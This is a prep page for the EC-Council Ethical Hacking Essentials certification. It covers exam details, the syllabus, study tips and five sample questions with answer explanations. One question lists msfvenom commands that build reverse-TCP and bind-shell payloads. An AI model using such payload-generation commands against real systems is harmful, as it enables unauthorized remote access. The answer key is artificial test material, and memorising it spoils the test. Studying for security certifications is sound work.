EC-Council · EHE
Ethical Hacking Essentials (EHE) Practice Tests
Validates foundational understanding of ethical hacking and penetration testing concepts, covering information security fundamentals, threats and vulnerabilities, password cracking, web application attacks, IoT and OT security, cloud computing threats, and penetration testing methodology.
Exam Details
Practice Questions
627
≈ 5 practice exams
Duration
120 minutes
Passing Score
70%
Difficulty
FoundationalLast Updated
Feb 2026
Ethical Hacking Essentials (EHE) Practice Exam Preparation
Use this EHE practice exam to prepare for Ethical Hacking Essentials (EHE) with realistic questions, detailed explanations, and focused study modes. The practice bank includes 627 questions for EC-Council EHE, so you can review the exam steadily instead of relying on one long cram session.
As you practice, pay extra attention to patterns in your missed answers. Start with short sessions to identify weak areas, then move into timed quizzes once your accuracy is consistent.
The explanations are especially useful when you want to connect exam wording to the responsibilities and scenarios described in the official certification guidance. Use the free preview first, then unlock the full question bank when you are ready to build a complete study routine.
Exam Overview
The Ethical Hacking Essentials (EHE) is an entry-level cybersecurity certification from EC-Council, designed to validate foundational knowledge of ethical hacking principles, penetration testing concepts, and information security fundamentals. Delivered under EC-Council's Essentials Series, it covers a broad spectrum of attack surfaces and defensive countermeasures across 12 modules, including network-level attacks, web application vulnerabilities, social engineering, wireless security, IoT and operational technology (OT) threats, and cloud computing risks. The certification carries exam code 112-52 and is valid for three years, with no continuing education fees or EC-Council Continuing Education Credits (ECEs) required during that period.
EHE serves as a structured on-ramp for individuals new to the cybersecurity field, bridging the gap between general IT knowledge and the more advanced Certified Ethical Hacker (CEH) credential. The course includes 15 hours of premium learning content and 11 hands-on labs, ensuring candidates gain both conceptual understanding and practical exposure to real-world attack techniques and countermeasures.
Who Should Take This Exam
EHE is aimed at individuals who are beginning their journey in cybersecurity and information security. There are no formal IT or cybersecurity experience requirements, making it accessible to career changers, recent graduates, and students exploring the field. Job roles that align with this certification include entry-level security analyst, junior penetration tester, IT support professional seeking to pivot into security, and cybersecurity student.
The credential is also well-suited for professionals in adjacent IT roles—such as system administrators or network technicians—who want to formalize their understanding of attacker methodologies and threat landscapes. It is frequently pursued as a first step before attempting the CEH or other intermediate-level certifications.
Prerequisites
There are no formal eligibility requirements or prerequisites to register for the EHE exam. EC-Council explicitly states that no prior IT or cybersecurity experience is necessary, making this one of the most accessible credentials in the EC-Council portfolio.
However, candidates benefit from a basic understanding of how computers and networks operate, including familiarity with operating system concepts, IP addressing, and common internet protocols. Those with some exposure to IT fundamentals—through coursework, self-study, or personal projects—will find the material easier to absorb and retain during preparation.
Exam Format
The EHE exam (code 112-52) consists of 75 multiple-choice questions and must be completed within 120 minutes. A passing score of 70% is required. The exam is administered through EC-Council's ECC Exam Center and can be taken online in a proctored environment. The exam cost is $49.99 for the exam voucher through select channels, though pricing may vary by region and training bundle.
The certification is valid for three years from the date of a successful attempt. Recertification is achieved by retaking the exam at the end of the three-year validity period. No continuing education credits or fees are required to maintain the credential during its active term.
Skills Measured
- 1.Module 1 – Information Security Fundamentals: Core information security concepts, CIA triad, data classification, and an overview of relevant information security laws and regulations.
- 2.Module 2 – Ethical Hacking Fundamentals: Cyber kill chain methodology, hacker classifications, the phases of hacking (reconnaissance through covering tracks), and the ethical and legal scope of authorized penetration testing.
- 3.Module 3 – Information Security Threats and Vulnerability Assessment: Threat types and sources, malware categories (viruses, worms, ransomware, trojans, spyware), vulnerability types, and structured vulnerability assessment approaches.
- 4.Module 4 – Password Cracking Techniques and Countermeasures: Dictionary, brute-force, rainbow table, and hybrid attacks; common password cracking tools; and defensive strategies such as multi-factor authentication and account lockout policies.
- 5.Module 5 – Social Engineering Techniques and Countermeasures: Phishing, vishing, spear phishing, insider threats, identity theft, and organizational countermeasures including security awareness training.
- 6.Module 6 – Network Level Attacks and Countermeasures: Packet sniffing, denial-of-service (DoS) and distributed DoS (DDoS) attacks, session hijacking techniques, and network-layer defenses.
- 7.Module 7 – Web Application Attacks and Countermeasures: Common OWASP-category vulnerabilities including SQL injection, cross-site scripting (XSS), cross-site request forgery (CSRF), and web server attack methods.
- 8.Module 8 – Wireless Attacks and Countermeasures: Rogue access points, WEP/WPA cracking, evil twin attacks, wireless sniffing, and Bluetooth-specific vulnerabilities and mitigations.
- 9.Module 9 – Mobile Attacks and Countermeasures: Mobile platform-specific threats for Android and iOS, mobile malware, BYOD risks, and mobile device management (MDM) strategies.
- 10.Module 10 – IoT and OT Attacks and Countermeasures: Security challenges unique to Internet of Things devices and operational technology infrastructure, attack vectors, and guidelines for hardening IoT/OT environments.
- 11.Module 11 – Cloud Computing Threats and Countermeasures: Cloud service and deployment models, container technology basics, cloud-specific threats (data breaches, account hijacking, insecure APIs), and cloud security best practices.
- 12.Module 12 – Penetration Testing Fundamentals: Penetration testing types and phases (planning, reconnaissance, scanning, exploitation, reporting), rules of engagement, and professional and legal considerations.
Study Tips
- Download and study the official EHE Exam Blueprint (EHEv1 Exam Blueprint.pdf) available on cert.eccouncil.org — it outlines the tested knowledge areas and is the authoritative guide to exam scope.
- Enroll in EC-Council's official EHE courseware, which includes 15 hours of structured content and 11 hands-on labs; actively completing the labs reinforces attack and defense concepts that appear on the exam.
- Use EC-Council's CodeRed or iClass platform to access the official course, and supplement with the Coursera or edX versions of the EHE course offered directly by EC-Council for flexible self-paced learning.
- Focus on understanding the purpose and mechanics of each attack type (e.g., how SQL injection exploits unsanitized input, how DoS attacks exhaust resources) rather than memorizing specific tool names, as the exam tests conceptual understanding.
- Review key information security laws and frameworks mentioned in Module 1, such as GDPR, HIPAA, and the Computer Fraud and Abuse Act, as regulatory knowledge is a tested area often overlooked by candidates focused on technical topics.
- Take timed practice exams under realistic conditions to build exam stamina and identify weak domains; third-party practice platforms such as EDUSUM offer 112-52 practice questions aligned to the exam syllabus.
- Revisit the 12 modules in the order presented, as each builds on prior concepts — completing all modules before attempting practice tests ensures comprehensive coverage of all exam domains.
Career Benefits
Earning the EHE credential demonstrates to employers that a candidate possesses structured, vendor-validated knowledge of ethical hacking fundamentals, which can differentiate entry-level applicants in a competitive cybersecurity job market. The certification is recognized as a stepping stone toward higher-value EC-Council credentials, most notably the Certified Ethical Hacker (CEH), which is widely required or preferred for penetration tester, security analyst, and red team roles. EHE holders are positioned for roles such as junior security analyst, cybersecurity support specialist, and IT risk analyst.
While the EHE itself is a foundational credential and does not command the same salary premium as CEH or OSCP, it validates commitment to the field and provides a recognized credential for candidates building their first cybersecurity resume. Entry-level cybersecurity roles in the United States typically range from $55,000 to $85,000 annually, and holding a recognized certification from EC-Council can accelerate hiring and interview opportunities, particularly at organizations that already use EC-Council training for their security teams.
Sample Questions
5 sample questions with answers and explanations. The full bank has 627 questions, enough for 5 full-length practice exams.
Preview — answers shown1. A cybersecurity team analyzes network traffic and discovers multiple devices on the network are sending forged ARP response packets associating their MAC address with the IP address of the default gateway. Users report intermittent connectivity issues and some confidential data appears to have been intercepted. What type of attack is occurring? (Select one!)
AMAC flooding
BARP poisoning
CVLAN hopping
DDNS spoofing
Explanation
ARP poisoning involves sending forged ARP responses to associate the attacker's MAC address with legitimate IP addresses like the default gateway. This allows the attacker to intercept traffic in a man-in-the-middle position. MAC flooding targets the switch's CAM table to make it operate like a hub. VLAN hopping exploits trunk port configurations to access unauthorized VLANs. DNS spoofing manipulates DNS responses rather than ARP cache entries.
2. An organization implements Role-Based Access Control where permissions are assigned based on job functions such as Developer, Manager, and Administrator. Users receive only the minimum permissions necessary to perform their duties. Which security principle is being applied? (Select one!)
ASeparation of duties
BFail secure
CDefense in depth
DLeast privilege
Explanation
Least privilege ensures users receive only the minimum permissions necessary to perform their job functions, reducing the attack surface and limiting potential damage from compromised accounts. RBAC implements this by assigning permissions based on roles. Separation of duties divides critical tasks among multiple people to prevent fraud. Defense in depth uses multiple layers of security controls. Fail secure ensures systems default to a secure state during failures.
3. A security researcher analyzes hash algorithms for a password storage implementation. The system currently uses MD5 hashing without salt. Which two hash algorithms should be recommended as secure replacements that address modern cryptographic requirements? (Select two!)
Multiple correct answersASHA-1 with static salt values
BArgon2 with adaptive cost factors
CLM hash with case conversion
Dbcrypt with built-in salt generation
ENTLM with rainbow table protection
Explanation
Argon2 is the Password Hashing Competition winner and provides memory-hard, CPU-intensive hashing with adaptive cost factors, making it highly resistant to GPU-based attacks. bcrypt is a strong password hashing algorithm with built-in salting and an adaptive cost factor that can be increased as hardware improves. SHA-1 is cryptographically broken with demonstrated collision attacks and should not be used for password hashing. LM hash is extremely weak, limited to 14 characters, case-insensitive, and splits passwords into two 7-character segments. NTLM lacks salting and is vulnerable to pass-the-hash attacks and rainbow tables.
4. A penetration tester uses Metasploit and needs to generate a Linux payload that connects back to the attacker's machine. Which msfvenom command correctly creates an ELF executable with reverse TCP connection? (Select one!)
Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o payload.exe
Bmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o payload.elf
Cmsfvenom -p linux/x86/shell/bind_tcp RHOST=10.10.10.5 LPORT=4444 -f elf -o payload.elf
Dmsfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o payload.elf
Explanation
The correct command uses linux/x86/meterpreter/reverse_tcp payload for Linux systems with reverse connection, LHOST specifying the attacker's listening IP address, LPORT for the listening port, -f elf for Linux executable format, and -o for output filename. Reverse TCP means the target connects back to the attacker, useful when the target is behind a firewall. The bind_tcp option creates a listener on the target that the attacker connects to, which is the opposite of reverse and fails when targets are behind firewalls. The Windows payload with exe format is for Windows systems, not Linux. The option using RHOST is incorrect because reverse shells use LHOST for the local attacker IP, and RHOST is used in exploits to specify remote target hosts, not in reverse payloads.
5. A security team implements a framework that organizes subscriptions and applies policies across multiple business divisions. Each division has dedicated administrators managing Azure resources with minimal administrative complexity. Which approach provides proper segmentation? (Select one!)
AResource groups within single subscription
BSeparate subscriptions without organization
CMultiple Azure Active Directory directories
DManagement groups with single Azure AD
Explanation
Management groups with a single Azure AD directory provide hierarchical organization of subscriptions with policy inheritance while minimizing administrative overhead. Multiple Azure AD directories create synchronization complexity and access management challenges. Separate subscriptions without management groups lack centralized policy control. Resource groups alone do not provide sufficient administrative boundaries for division-level segmentation with dedicated administrators.
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